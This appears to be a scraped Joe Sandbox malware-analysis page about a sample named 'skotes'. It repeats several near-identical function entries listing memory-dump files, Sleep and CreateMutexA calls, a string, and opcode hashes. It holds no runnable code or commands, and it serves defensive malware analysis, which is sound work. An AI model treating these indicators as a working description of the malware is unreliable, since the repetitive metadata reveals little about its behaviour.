Associated: 00000002.00000002.1807032224.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807158328.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807203422.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807225189.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807249013.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807270609.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: 44d74afde876c03c7bbfe2791357054c7007b29afbf3f75515730b67875375ca
Instruction ID: 0f1915a6aabb5a71f6a39b887f64daf4d701d94c5b7ae2b49e41b57488f53315
Opcode Fuzzy Hash: 44d74afde876c03c7bbfe2791357054c7007b29afbf3f75515730b67875375ca
Instruction Fuzzy Hash: 06318C316045009BEB1BAB78DD89B6DB7B1EFC1314F20C619E114AB3C9DBB559808B52

Function 0036A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000002.00000002.1805531307.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805553534.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805617060.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805638239.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805658873.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805704278.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805731134.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805867007.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805891821.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805921059.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805943623.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805977214.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806001328.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806101785.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806127901.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806187981.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806210879.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806234537.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806266177.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806290907.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806312268.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806336515.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806414847.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806436844.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806480919.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806509260.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806560584.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806590822.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806612933.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806656439.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806684656.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806739794.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806763903.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806787206.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806808860.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806830974.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806850105.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806870737.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806921820.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807011131.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807032224.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807158328.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807203422.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807225189.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807249013.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807270609.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: 95a06dab11e0d2432872ddf893889f705162cf9034f57926ffa459e701c37961
Instruction ID: 64e14d3aa77bca3ae90ef7a7a6934ba7efdd22dd9b9efc185f7b02414945f016
Opcode Fuzzy Hash: 95a06dab11e0d2432872ddf893889f705162cf9034f57926ffa459e701c37961
Instruction Fuzzy Hash: 01316E316045048BEB1AEB78DC85B6DB771EFC1314F24C618E155EB2DAC77599808F22

Function 0036A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000002.00000002.1805531307.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805553534.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805617060.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805638239.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805658873.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805704278.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805731134.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805867007.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805891821.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805921059.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805943623.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805977214.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806001328.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806101785.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806127901.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806187981.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806210879.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806234537.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806266177.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806290907.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806312268.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806336515.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806414847.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806436844.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806480919.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806509260.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806560584.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806590822.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806612933.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806656439.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806684656.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806739794.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806763903.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806787206.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806808860.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806830974.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806850105.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806870737.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806921820.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807011131.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807032224.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807158328.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807203422.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807225189.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807249013.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807270609.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: a0cb41db4464c1d9d7feb50bb86fa58f23683174a21b0dc68da44d1acf0c39cc
Instruction ID: dc6452ff8c71fe973ca4b8407c594f3077df848ad8347bdab13ed8138b658f45
Opcode Fuzzy Hash: a0cb41db4464c1d9d7feb50bb86fa58f23683174a21b0dc68da44d1acf0c39cc
Instruction Fuzzy Hash: 33317B316046049BEB1ADBB8DD89B6DB7B2EFC1310F24C618E014FB3D9C77599808B52

Function 00369ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000002.00000002.1805531307.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805553534.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805617060.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805638239.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805658873.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805704278.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805731134.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805867007.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805891821.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805921059.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805943623.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805977214.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806001328.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806101785.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806127901.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806187981.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806210879.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806234537.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806266177.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806290907.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806312268.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806336515.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806414847.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806436844.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806480919.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806509260.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806560584.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806590822.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806612933.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806656439.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806684656.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806739794.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806763903.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806787206.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806808860.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806830974.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806850105.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806870737.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806921820.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807011131.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807032224.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807158328.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807203422.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807225189.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807249013.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807270609.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: 3f3c097320e13934627a49cde65568f879d96011982acd3f4185fead03c8734b
Instruction ID: a1af177bf55fed35e7082a0b95f99a396ea77b56d3e9bdb0327cf319f9260bb8
Opcode Fuzzy Hash: 3f3c097320e13934627a49cde65568f879d96011982acd3f4185fead03c8734b
Instruction Fuzzy Hash: 6B2149316042049BEB2AAB6CECC5B6DF7A5EFC1310F20C61AE518DB6D9D77569808B12

Function 0036A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000002.00000002.1805531307.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805553534.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805617060.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805638239.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805658873.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805704278.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805731134.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805867007.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805891821.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805921059.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805943623.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805977214.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806001328.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806101785.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806127901.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806187981.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806210879.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806234537.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806266177.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806290907.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806312268.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806336515.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806414847.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806436844.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806480919.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806509260.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806560584.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806590822.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806612933.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806656439.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806684656.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806739794.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806763903.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806787206.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806808860.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806830974.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806850105.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806870737.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806921820.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807011131.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807032224.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807158328.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807203422.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807225189.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807249013.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807270609.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: 27a75c50a0c249d0fe241fa19faeefc3d37169de60b24561bf4a1e014f51743a
Instruction ID: d7a581bd3ecab78b8d274f55cfdfc40e7ac17b3a79492bd613fe737b1f763453
Opcode Fuzzy Hash: 27a75c50a0c249d0fe241fa19faeefc3d37169de60b24561bf4a1e014f51743a
Instruction Fuzzy Hash: 1F217F302586009AFB37676CCC96B7DB651EFC1314F24CC16E244FB2CACB7A58408A53

Function 0036A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000002.00000002.1805531307.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805553534.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805617060.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805638239.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805658873.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805704278.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805731134.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805867007.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805891821.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805921059.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805943623.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805977214.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806001328.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806101785.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806127901.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806187981.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806210879.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806234537.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806266177.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806290907.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806312268.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806336515.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806414847.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806436844.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806480919.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806509260.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806560584.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806590822.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806612933.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
